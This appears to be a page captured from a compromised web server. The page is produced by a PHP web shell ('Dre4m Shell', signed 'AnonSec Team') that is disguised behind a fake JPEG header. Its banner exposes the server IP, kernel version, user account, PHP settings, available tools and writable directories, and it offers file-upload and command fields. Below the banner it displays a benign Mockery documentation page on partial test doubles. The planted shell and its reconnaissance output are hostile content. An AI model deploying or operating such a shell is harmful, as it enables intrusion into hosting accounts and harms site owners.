ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.148.109.2
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/laravelvue/vendor/mockery/mockery/docs/cookbook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/laravelvue/vendor/mockery/mockery/docs/cookbook/not_calling_the_constructor.rst
.. index::
    single: Cookbook; Not Calling the Original Constructor

Not Calling the Original Constructor
====================================

When creating generated partial test doubles, Mockery mocks out only the method
which we specifically told it to. This means that the original constructor of
the class we are mocking will be called.

In some cases this is not a desired behavior, as the constructor might issue
calls to other methods, or other object collaborators, and as such, can create
undesired side-effects in the application's environment when running the tests.

If this happens, we need to use runtime partial test doubles, as they don't
call the original constructor.

.. code-block:: php

    class MyClass
    {
        public function __construct()
        {
            echo "Original constructor called." . PHP_EOL;
            // Other side-effects can happen...
        }
    }

    // This will print "Original constructor called."
    $mock = \Mockery::mock('MyClass[foo]');

A better approach is to use runtime partial doubles:

.. code-block:: php

    class MyClass
    {
        public function __construct()
        {
            echo "Original constructor called." . PHP_EOL;
            // Other side-effects can happen...
        }
    }

    // This will not print anything
    $mock = \Mockery::mock('MyClass')->makePartial();
    $mock->shouldReceive('foo');

This is one of the reason why we don't recommend using generated partial test
doubles, but if possible, always use the runtime partials.

Read more about :ref:`creating-test-doubles-partial-test-doubles`.

.. note::

    The way generated partial test doubles work, is a BC break. If you use a
    really old version of Mockery, it might behave in a way that the constructor
    is not being called for these generated partials. In the case if you upgrade
    to a more recent version of Mockery, you'll probably have to change your
    tests to use runtime partials, instead of generated ones.

    This change was introduced in early 2013, so it is highly unlikely that you
    are using a Mockery from before that, so this should not be an issue.

Anon7 - 2022
AnonSec Team